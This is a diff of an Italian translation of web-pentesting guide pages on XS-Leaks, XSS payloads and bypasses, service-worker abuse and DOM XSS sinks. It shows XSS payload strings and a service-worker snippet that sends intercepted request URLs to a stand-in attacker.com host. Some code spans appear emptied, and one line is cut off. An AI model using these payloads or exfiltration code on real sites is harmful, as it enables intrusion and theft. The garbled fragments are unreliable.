[https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects) -- **Riepilogo:** Consentendo solo il sito web della vittima nella CSP, se tentiamo di reindirizzarci a un dominio diverso, la CSP attiverà un errore rilevabile. +- **Riepilogo:** Consentendo solo il sito della vittima nel CSP, se tentiamo di reindirizzarlo a un dominio diverso, il CSP attiverà un errore rilevabile. - **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation) -Un XS-Leak può utilizzare la CSP per rilevare se un sito cross-origin è stato reindirizzato a un'origine diversa. Questa perdita può rilevare il reindirizzamento, ma inoltre, il dominio dell'obiettivo del reindirizzamento viene rivelato. L'idea di base di questo attacco è **consentire il dominio di destinazione sul sito dell'attaccante**. Una volta emessa una richiesta al dominio di destinazione, esso **reindirizza** a un dominio cross-origin. **La CSP blocca** l'accesso e crea un **rapporto di violazione utilizzato come tecnica di perdita**. A seconda del browser, **questo rapporto può rivelare la posizione di destinazione del reindirizzamento**.\ +Un XS-Leak può utilizzare il CSP per rilevare se un sito cross-origin è stato reindirizzato a un'origine diversa. Questa perdita può rilevare il reindirizzamento, ma inoltre, il dominio dell'obiettivo del reindirizzamento viene rivelato. L'idea di base di questo attacco è **consentire il dominio di destinazione sul sito dell'attaccante**. Una volta emessa una richiesta al dominio di destinazione, esso **reindirizza** a un dominio cross-origin. **Il CSP blocca** l'accesso e crea un **rapporto di violazione utilizzato come tecnica di perdita**. A seconda del browser, **questo rapporto può rivelare la posizione di destinazione del reindirizzamento**.\ I browser moderni non indicheranno l'URL a cui è stato reindirizzato, ma è comunque possibile rilevare che è stato attivato un reindirizzamento cross-origin. ### Cache @@ -520,10 +520,10 @@ Se una pagina carica un'immagine solo se l'utente è connesso, puoi **invalidare - **Metodi di Inclusione**: Frame - **Differenza Rilevabile**: Intestazione - **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875) -- **Riepilogo:** Le direttive dell'intestazione CSP possono essere sondati utilizzando l'attributo iframe CSP, rivelando dettagli sulla politica. +- **Riepilogo:** Le direttive dell'intestazione CSP possono essere sondati utilizzando l'attributo iframe CSP, rivelando i dettagli della politica. - **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak) -Una nuova funzionalità in Google Chrome (GC) consente alle pagine web di **proporre una Content Security Policy (CSP)** impostando un attributo su un elemento iframe, con le direttive della politica trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve **autorizzare questo tramite un'intestazione HTTP**, o viene **visualizzata una pagina di errore**. Tuttavia, se l'iframe è già governato da una CSP e la nuova politica proposta non è più restrittiva, la pagina verrà caricata normalmente. Questo meccanismo apre un percorso per un attaccante per **rilevare specifiche direttive CSP** di una pagina cross-origin identificando la pagina di errore. Sebbene questa vulnerabilità sia stata segnalata come risolta, le nostre scoperte rivelano una **nuova tecnica di perdita** capace di rilevare la pagina di errore, suggerendo che il problema sottostante non è mai stato completamente affrontato. +Una nuova funzionalità in Google Chrome (GC) consente alle pagine web di **proporre una Content Security Policy (CSP)** impostando un attributo su un elemento iframe, con le direttive della politica trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve **autorizzare questo tramite un'intestazione HTTP**, o viene **visualizzata una pagina di errore**. Tuttavia, se l'iframe è già governato da un CSP e la nuova politica proposta non è più restrittiva, la pagina verrà caricata normalmente. Questo meccanismo apre un percorso per un attaccante per **rilevare specifiche direttive CSP** di una pagina cross-origin identificando la pagina di errore. Sebbene questa vulnerabilità sia stata segnalata come risolta, le nostre scoperte rivelano una **nuova tecnica di perdita** capace di rilevare la pagina di errore, suggerendo che il problema sottostante non è mai stato completamente affrontato. ### **CORP** @@ -553,7 +553,7 @@ Controlla il link per ulteriori informazioni sull'attacco. - **Riepilogo**: Se l'intestazione Origin è riflessa nell'intestazione `Access-Control-Allow-Origin`, è possibile verificare se una risorsa è già nella cache. - **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration) -Nel caso in cui l'**intestazione Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può abusare di questo comportamento per cercare di **recuperare** la **risorsa** in modalità **CORS**. Se non viene **attivato** alcun **errore**, significa che è stata **recuperata correttamente dal web**, se viene **attivato** un errore, è perché è stata **accessibile dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante)**.**\ +Nel caso in cui l'**intestazione Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può abusare di questo comportamento per provare a **recuperare** la **risorsa** in modalità **CORS**. Se non viene **attivato un errore**, significa che è stata **recuperata correttamente dal web**, se viene **attivato un errore**, è perché è stata **accessibile dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante)**.**\ Nota che se l'origine non è riflessa ma viene utilizzato un carattere jolly (`Access-Control-Allow-Origin: *`), questo non funzionerà. ## Tecnica degli Attributi Leggibili @@ -576,7 +576,7 @@ Inviare una richiesta utilizzando l'API Fetch con `redirect: "manual"` e altri p - **Riepilogo:** Le pagine protette dalla Cross-Origin Opener Policy (COOP) impediscono l'accesso da interazioni cross-origin. - **Esempio di Codice**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak) -Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è utilizzato dalle applicazioni web per impedire ai siti esterni di ottenere riferimenti a finestre arbitrarie. La visibilità di questa intestazione può essere discernita tentando di accedere al **riferimento `contentWindow`**. In scenari in cui COOP è applicato in modo condizionale, la **proprietà `opener`** diventa un indicatore rivelatore: è **undefined** quando COOP è attivo e **definita** in sua assenza. +Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è utilizzato dalle applicazioni web per ostacolare i siti esterni dall'ottenere riferimenti a finestre arbitrarie. La visibilità di questa intestazione può essere discernita tentando di accedere al **riferimento `contentWindow`**. Negli scenari in cui COOP è applicato in modo condizionale, la **proprietà `opener`** diventa un indicatore rivelatore: è **undefined** quando COOP è attivo e **definita** in sua assenza. ### Lunghezza Massima URL - Lato Server @@ -586,10 +586,10 @@ Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin - **Riepilogo:** Rileva differenze nelle risposte perché la lunghezza della risposta di reindirizzamento potrebbe essere troppo grande da far sì che il server risponda con un errore e venga generato un avviso. - **Esempio di Codice**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak) -Se un reindirizzamento lato server utilizza **input dell'utente all'interno del reindirizzamento** e **dati extra**. È possibile rilevare questo comportamento perché di solito **i server** hanno un **limite di lunghezza della richiesta**. Se i **dati dell'utente** sono di quella **lunghezza - 1**, perché il **reindirizzamento** sta utilizzando **quelli dati** e **aggiungendo** qualcosa di **extra**, attiverà un **errore rilevabile tramite Error Events**. +Se un reindirizzamento lato server utilizza **input dell'utente all'interno del reindirizzamento** e **dati extra**. È possibile rilevare questo comportamento perché di solito **i server** hanno un **limite di lunghezza della richiesta**. Se i **dati dell'utente** sono di quella **lunghezza - 1**, perché il **reindirizzamento** utilizza **quelli dati** e **aggiunge** qualcosa di **extra**, attiverà un **errore rilevabile tramite Error Events**. Se in qualche modo puoi impostare i cookie per un utente, puoi anche eseguire questo attacco **impostando un numero sufficiente di cookie** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) in modo che con la **dimensione della risposta aumentata** della **risposta corretta** venga attivato un **errore**. In questo caso, ricorda che se attivi questa richiesta da un sito stesso, ``** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**: -- Se riflesso tra i tag **``**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `` iniettato è all'interno del codice HTML. +- Se riflesso tra i tag **``**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag iniettato `` è all'interno del codice HTML. - Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito): - `'-alert(1)-'` - `';-alert(1)//` @@ -94,7 +94,7 @@ js-hoisting.md Diverse pagine web hanno endpoint che **accettano come parametro il nome della funzione da eseguire**. Un esempio comune da vedere nel mondo reale è qualcosa come: `?callback=callbackFunc`. -Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è **modificare il valore del parametro** (ad esempio in 'Vulnerable') e cercare nella console errori come: +Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è **modificare il valore del parametro** (ad esempio a 'Vulnerable') e cercare nella console errori come: ![](<../../images/image (711).png>) @@ -150,7 +150,7 @@ server-side-xss-dynamic-pdf.md ## Iniettare all'interno di HTML raw Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML encoded** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\ -Per questi casi, tieni anche presente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +Per questi casi, tieni anche a mente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ &#xNAN;_**Nota: Un commento HTML può essere chiuso usando\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*o \*\*\*\*\*\***`--!>`\*\**_ In questo caso e se non viene utilizzato alcun black/whitelisting, potresti usare payload come: @@ -166,7 +166,7 @@ Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare gl ### Forzatura di tag/eventi -Vai a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia tag negli appunti**_. Quindi, invia tutti utilizzando Burp intruder e controlla se qualche tag non è stato scoperto come malevolo dal WAF. Una volta che hai scoperto quali tag puoi utilizzare, puoi **forzare tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia eventi negli appunti**_ e segui la stessa procedura di prima). +Vai a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia tag negli appunti**_. Quindi, invia tutti utilizzando Burp intruder e controlla se qualche tag non è stato scoperto come malevolo dal WAF. Una volta che hai scoperto quali tag puoi usare, puoi **forzare tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia eventi negli appunti**_ e segui la stessa procedura di prima). ### Tag personalizzati @@ -174,9 +174,9 @@ Se non hai trovato alcun tag HTML valido, puoi provare a **creare un tag persona ``` /?search=#x ``` -### Blacklist Bypasses +### Bypass delle Blacklist -Se viene utilizzato un qualche tipo di blacklist, potresti provare a eluderla con alcuni trucchi sciocchi: +Se viene utilizzata una qualche forma di blacklist, potresti provare a eluderla con alcuni trucchi sciocchi: ```javascript //Random capitalization
``` -### Regex - Accesso ai Contenuti Nascosti +### Regex - Access Hidden Content -Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso: +Da [**questo writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1494,7 +1494,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %} -## XSS Abusando di altre vulnerabilità +## XSS Abusare di altre vulnerabilità ### XSS in Markdown @@ -1506,7 +1506,7 @@ xss-in-markdown.md ### XSS a SSRF -Hai XSS su un **sito che utilizza la cache**? Prova **a trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload: +Hai XSS su un **sito che utilizza caching**? Prova **a trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload: ```python ``` diff --git a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md index d00064987..f5b494197 100644 --- a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md +++ b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md @@ -28,7 +28,7 @@ e.respondWith(caches.match(e.request).then(function(response) { fetch('https://attacker.com/fetch_url/' + e.request.url) }); ``` -E questo è il codice che **registrerà il worker** (il codice che dovresti essere in grado di eseguire abusando di un **XSS**). In questo caso, una richiesta **GET** verrà inviata al server **degli attaccanti** **notificando** se la **registrazione** del service worker è stata effettuata con successo o meno: +E questo è il codice che **registrerà il worker** (il codice che dovresti essere in grado di eseguire abusando di un **XSS**). In questo caso, verrà inviata una richiesta **GET** al server **degli attaccanti** **notificando** se la **registrazione** del service worker è stata completata con successo o meno: ```javascript ``` -### **Bypassare i Filtri** +### **Bypassare il Filtro** Se un filtro sta **iterando** attraverso le **proprietà** di un nodo utilizzando qualcosa come `document.getElementByID('x').attributes`, potresti **sovrascrivere** l'attributo **`.attributes`** e **rompere il filtro**. Altre proprietà del DOM come **`tagName`**, **`nodeName`** o **`parentNode`** e altre sono anch'esse **sovrascrivibili**. ```html diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-invader.md b/src/pentesting-web/xss-cross-site-scripting/dom-invader.md index 5e4e7b397..04301fd11 100644 --- a/src/pentesting-web/xss-cross-site-scripting/dom-invader.md +++ b/src/pentesting-web/xss-cross-site-scripting/dom-invader.md @@ -27,7 +27,7 @@ Ora aggiorna la pagina e nei **Dev Tools** troverai la **scheda DOM Invader:** Nell'immagine precedente puoi vedere un **gruppo casuale di caratteri, che è il Canary**. Ora dovresti iniziare a **iniettarlo** in diverse parti del web (parametri, moduli, url...) e ogni volta cliccare su cerca. DOM Invader controllerà se il **canary è finito in qualche sink interessante** che potrebbe essere sfruttato. -Inoltre, le opzioni **Inietta parametri URL** e **Inietta moduli** apriranno automaticamente una **nuova scheda** **iniettando** il **canary** in ogni **parametro URL** e **modulo** che trova. +Inoltre, le opzioni **Inietta parametri URL** e Inietta moduli apriranno automaticamente una **nuova scheda** **iniettando** il **canary** in ogni **parametro URL** e **modulo** che trova. ### Inietta un Canary vuoto @@ -37,13 +37,13 @@ Se vuoi solo trovare potenziali sink che la pagina potrebbe avere, anche se non DOM Invader consente di testare per DOM XSS utilizzando messaggi web con funzionalità come: -1. **Registrazione dei messaggi web** inviati tramite `postMessage()`, simile alla registrazione della cronologia delle richieste/riposte HTTP di Burp Proxy. +1. **Registrazione dei messaggi web** inviati tramite `postMessage()`, simile alla registrazione della cronologia delle richieste/risposte HTTP di Burp Proxy. 2. **Modifica** e **riemissione** di messaggi web per testare manualmente il DOM XSS, simile alla funzione di Burp Repeater. 3. **Alterazione automatica** e invio di messaggi web per sondare il DOM XSS. #### Dettagli del messaggio -Informazioni dettagliate possono essere visualizzate su ogni messaggio cliccando su di esso, che include se il JavaScript lato client accede alle proprietà `origin`, `data` o `source` del messaggio. +Informazioni dettagliate possono essere visualizzate su ogni messaggio cliccandoci sopra, che includono se il JavaScript lato client accede alle proprietà `origin`, `data` o `source` del messaggio. - **`origin`** : Se le **informazioni di origine del messaggio non vengono controllate**, potresti essere in grado di inviare messaggi cross-origin all'handler degli eventi **da un dominio esterno arbitrario**. Ma se viene controllato, potrebbe comunque essere insicuro. - **`data`**: Qui viene inviato il payload. Se questi dati non vengono utilizzati, il sink è inutile. @@ -51,7 +51,7 @@ Informazioni dettagliate possono essere visualizzate su ogni messaggio cliccando #### Rispondi a un messaggio -1. Dalla vista **Messaggi**, clicca su un qualsiasi messaggio per aprire la finestra di dialogo dei dettagli del messaggio. +1. Dalla vista **Messaggi**, clicca su un messaggio qualsiasi per aprire la finestra di dialogo dei dettagli del messaggio. 2. Modifica il campo **Data** come necessario. 3. Clicca su **Invia**. @@ -63,14 +63,14 @@ DOM Invader può anche cercare vulnerabilità di **Inquinamento del Prototipo**. Poi, cercherà **fonti** che ti consentono di aggiungere proprietà arbitrarie a **`Object.prototype`**. -Se viene trovato qualcosa, apparirà un pulsante **Test** per **testare la fonte trovata**. Clicca su di esso, apparirà una nuova scheda, crea un oggetto nella console e controlla se `testproperty` esiste: +Se viene trovata qualcosa, apparirà un pulsante **Test** per **testare la fonte trovata**. Clicca su di esso, apparirà una nuova scheda, crea un oggetto nella console e controlla se `testproperty` esiste: ```javascript let b = {} b.testproperty ``` Una volta trovato una sorgente puoi **scansionare per un gadget**: -1. Una nuova scheda viene aperta da DOM Invader quando il pulsante **Scan for gadgets**, che può essere trovato accanto a qualsiasi sorgente di inquinamento del prototipo identificata nella vista **DOM**, viene cliccato. La scansione per gadget adatti inizia quindi. +1. Una nuova scheda viene aperta da DOM Invader quando il pulsante **Scan for gadgets**, che si trova accanto a qualsiasi sorgente di inquinamento del prototipo identificata nella vista **DOM**, viene cliccato. La scansione per gadget adatti inizia quindi. 2. Nel frattempo, nella stessa scheda, la scheda **DOM Invader** dovrebbe essere aperta nel pannello DevTools. Dopo il completamento della scansione, qualsiasi sink accessibile tramite i gadget identificati viene visualizzato nella vista **DOM**. Ad esempio, una proprietà gadget chiamata `html` passata al sink `innerHTML` è mostrata nell'esempio qui sotto. ## DOM clobbering diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-xss.md b/src/pentesting-web/xss-cross-site-scripting/dom-xss.md index 15c9080df..7b0fa4e77 100644 --- a/src/pentesting-web/xss-cross-site-scripting/dom-xss.md +++ b/src/pentesting-web/xss-cross-site-scripting/dom-xss.md @@ -4,7 +4,7 @@ ## Vulnerabilità DOM -Le vulnerabilità DOM si verificano quando i dati provenienti da **fonti** controllate dagli attaccanti (come `location.search`, `document.referrer` o `document.cookie`) vengono trasferiti in modo non sicuro a **sinks**. I sinks sono funzioni o oggetti (ad es., `eval()`, `document.body.innerHTML`) che possono eseguire o rendere contenuti dannosi se ricevono dati malevoli. +Le vulnerabilità DOM si verificano quando i dati provenienti da **fonti** controllate dall'attaccante (come `location.search`, `document.referrer` o `document.cookie`) vengono trasferiti in modo non sicuro a **sinks**. I sinks sono funzioni o oggetti (ad es., `eval()`, `document.body.innerHTML`) che possono eseguire o rendere contenuti dannosi se ricevono dati malevoli. - **Fonti** sono input che possono essere manipolati dagli attaccanti, inclusi URL, cookie e messaggi web. - **Sinks** sono endpoint potenzialmente pericolosi dove dati malevoli possono portare a effetti negativi, come l'esecuzione di script. @@ -67,7 +67,7 @@ Database Il sink **`innerHTML`** non accetta elementi `script` su nessun browser moderno, né gli eventi `svg onload` verranno attivati. Questo significa che dovrai utilizzare elementi alternativi come `img` o `iframe`. -Questo tipo di XSS è probabilmente il **più difficile da trovare**, poiché devi guardare all'interno del codice JS, vedere se sta **utilizzando** qualche oggetto il cui **valore controlli**, e in tal caso, vedere se c'è **qualche modo di abusarne** per eseguire JS arbitrario. +Questo tipo di XSS è probabilmente il **più difficile da trovare**, poiché devi guardare all'interno del codice JS, vedere se sta **utilizzando** qualche oggetto il cui **valore controlli**, e in tal caso, vedere se c'è **qualche modo per abusarne** per eseguire JS arbitrario. ## Strumenti per trovarli @@ -183,7 +183,7 @@ $.globalEval() Da: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) -**Le vulnerabilità di manipolazione del percorso del file locale** si verificano quando uno script passa **dati controllabili dall'attaccante a un'API di gestione dei file** come parametro `filename`. Questa vulnerabilità può essere sfruttata da un attaccante per costruire un URL che, se visitato da un altro utente, potrebbe portare **il browser dell'utente ad aprire o scrivere un file locale arbitrario**. +**Le vulnerabilità di manipolazione del percorso del file locale** si verificano quando uno script passa **dati controllabili dall'attaccante a un'API di gestione dei file** come parametro `filename`. Questa vulnerabilità può essere sfruttata da un attaccante per costruire un URL che, se visitato da un altro utente, potrebbe portare il **browser dell'utente ad aprire o scrivere un file locale arbitrario**. Sinks: ```javascript @@ -207,9 +207,9 @@ executeSql() ``` ### Manipolazione dello storage HTML5 -Da: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) +From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) -**Le vulnerabilità di manipolazione dello storage HTML5** sorgono quando uno script **memorizza dati controllabili dall'attaccante nello storage HTML5 del browser web** (`localStorage` o `sessionStorage`). Sebbene questa azione non sia intrinsecamente una vulnerabilità di sicurezza, diventa problematica se l'applicazione successivamente **legge i dati memorizzati e li elabora in modo non sicuro**. Questo potrebbe consentire a un attaccante di sfruttare il meccanismo di storage per condurre altri attacchi basati sul DOM, come il cross-site scripting e l'iniezione di JavaScript. +**Le vulnerabilità di manipolazione dello storage HTML5** sorgono quando uno script **memorizza dati controllabili dall'attaccante nello storage HTML5 del browser web** (`localStorage` o `sessionStorage`). Sebbene questa azione non sia intrinsecamente una vulnerabilità di sicurezza, diventa problematica se l'applicazione successivamente **legge i dati memorizzati e li elabora in modo non sicuro**. Questo potrebbe consentire a un attaccante di sfruttare il meccanismo di storage per condurre altri attacchi basati su DOM, come il cross-site scripting e l'iniezione di JavaScript. Sinks: ```javascript diff --git a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md index c4851d136..192c1b1e2 100644 --- a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md +++ b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md @@ -4,7 +4,7 @@ ## Iframes in XSS -Ci sono 3 modi per indicare il contenuto di una pagina iframed: +Ci sono 3 modi per indicare il contenuto di una pagina in iframe: - Tramite `src` che indica un URL (l'URL può essere cross origin o same origin) - Tramite `src` che indica il contenuto utilizzando il protocollo `data:` @@ -45,7 +45,7 @@ var secret = "child secret" alert(parent.secret) ``` -Se accedi all'html precedente tramite un server http (come `python3 -m http.server`) noterai che tutti gli script verranno eseguiti (poiché non c'è CSP che lo impedisca). **il genitore non sarà in grado di accedere alla variabile `secret` all'interno di qualsiasi iframe** e **solo gli iframe if2 e if3 (che sono considerati dello stesso sito) possono accedere al segreto** nella finestra originale.\ +Se accedi all'html precedente tramite un server http (come `python3 -m http.server`), noterai che tutti gli script verranno eseguiti (poiché non c'è CSP che lo impedisca). **il genitore non sarà in grado di accedere alla variabile `secret` all'interno di qualsiasi iframe** e **solo gli iframe if2 e if3 (che sono considerati dello stesso sito) possono accedere al segreto** nella finestra originale.\ Nota come if4 è considerato avere origine `null`. ### Iframes con CSP diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index 83cf44170..a2375d493 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -11,7 +11,7 @@ Durante il primo passaggio, il motore analizza il codice per controllare errori È cruciale comprendere che: 1. Lo script deve essere privo di errori di sintassi affinché l'esecuzione avvenga. Le regole di sintassi devono essere seguite rigorosamente. -2. La posizione del codice all'interno dello script influisce sull'esecuzione a causa del hoisting, sebbene il codice eseguito possa differire dalla sua rappresentazione testuale. +2. La posizione del codice all'interno dello script influisce sull'esecuzione a causa del hoisting, anche se il codice eseguito potrebbe differire dalla sua rappresentazione testuale. #### Tipi di Hoisting diff --git a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md index de0447a5c..4aab431ca 100644 --- a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md +++ b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md @@ -55,7 +55,7 @@ log.push([i,j]) } console.log(log)//[35,33],[47,47] ``` -### Caratteri di Nuova Riga JS Validi +### Caratteri di nuova linea JS validi ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) //0x0a @@ -144,7 +144,7 @@ document.body.append(anchor) // Another way to test Test ``` -### Fuzzing degli URL +### URL Fuzzing ```javascript // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition. @@ -301,9 +301,9 @@ var bindFn_this = fn.bind(this, "fixingparam1") bindFn_change("Hello", "World") ``` > [!NOTE] -> Tieni presente che utilizzando **`bind`** puoi manipolare l'oggetto **`this`** che verrà utilizzato quando si chiama la funzione. +> Nota che usando **`bind`** puoi manipolare l'oggetto **`this`** che verrà utilizzato quando si chiama la funzione. -### Rivelazione del codice della funzione +### Funzione di leak del codice Se puoi **accedere all'oggetto** di una funzione puoi **ottenere il codice** di quella funzione. ```javascript @@ -424,7 +424,7 @@ origValue = val debugAccess(Object.prototype, "ppmap") ``` -## Accesso automatico del browser per testare i payload +## Accesso automatico al browser per testare i payload ```javascript //Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md const puppeteer = require("puppeteer") diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index 87e9e1206..31eb050d3 100644 --- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -8,9 +8,9 @@ Se una pagina web sta creando un PDF utilizzando input controllato dall'utente, Quindi, se il **bot creatore di PDF trova** qualche tipo di **tag HTML**, lo **interpreterà**, e puoi **sfruttare** questo comportamento per causare un **Server XSS**. Per favore, nota che i tag `` non funzionano sempre, quindi avrai bisogno di un metodo diverso per eseguire JS (ad esempio, sfruttando ` [!CAUTION] > Nota che anche se la pagina iniziale accede a un nuovo URL dopo aver creato la seconda pagina, l'**oggetto opener della seconda pagina è ancora un riferimento valido alla prima pagina nel nuovo DOM**. @@ -26,7 +26,7 @@ Fondamentalmente, il flusso dell'attacco è il seguente: ### Exploitation -- Puoi usare questa forma per **generare un PoC** per sfruttare questo tipo di vulnerabilità: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator) +- Puoi usare questo modulo per **generare un PoC** per sfruttare questo tipo di vulnerabilità: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator) - Per trovare un percorso DOM a un elemento HTML con un clic puoi usare questa estensione del browser: [https://www.someattack.com/Playground/targeting_tool](https://www.someattack.com/Playground/targeting_tool) ### Example @@ -37,6 +37,4 @@ Fondamentalmente, il flusso dell'attacco è il seguente: ## References -- [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/) - -{{#include ../../banners/hacktricks-training.md}} +- [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsec diff --git a/src/pentesting-web/xssi-cross-site-script-inclusion.md b/src/pentesting-web/xssi-cross-site-script-inclusion.md index bd1d4adc5..a6613b76e 100644 --- a/src/pentesting-web/xssi-cross-site-script-inclusion.md +++ b/src/pentesting-web/xssi-cross-site-script-inclusion.md @@ -10,7 +10,7 @@ - **Bypass della SOP**: Gli script sono esenti dalla **Same-Origin Policy**, consentendo loro di essere inclusi tra domini. - **Esposizione dei Dati**: Un attaccante può sfruttare questo comportamento per leggere i dati caricati tramite il tag `script`. -- **Impatto su JavaScript Dinamico/JSONP**: **XSSI** è particolarmente rilevante per JavaScript dinamico o **JSON con Padding (JSONP)**. Queste tecnologie utilizzano spesso informazioni di "ambient-authority" (come i cookie) per l'autenticazione. Quando viene effettuata una richiesta di script a un host diverso, queste credenziali (ad es., cookie) vengono automaticamente incluse nella richiesta. +- **Impatto su JavaScript Dinamico/JSONP**: **XSSI** è particolarmente rilevante per JavaScript dinamico o **JSON con Padding (JSONP)**. Queste tecnologie utilizzano spesso informazioni di "autorità ambientale" (come i cookie) per l'autenticazione. Quando viene effettuata una richiesta di script a un host diverso, queste credenziali (ad es. cookie) vengono automaticamente incluse nella richiesta. - **Perdita di Token di Autenticazione**: Se un attaccante riesce a ingannare il browser di un utente per richiedere uno script da un server che controlla, potrebbe essere in grado di accedere a informazioni sensibili contenute in queste richieste. ### Tipi @@ -61,18 +61,18 @@ 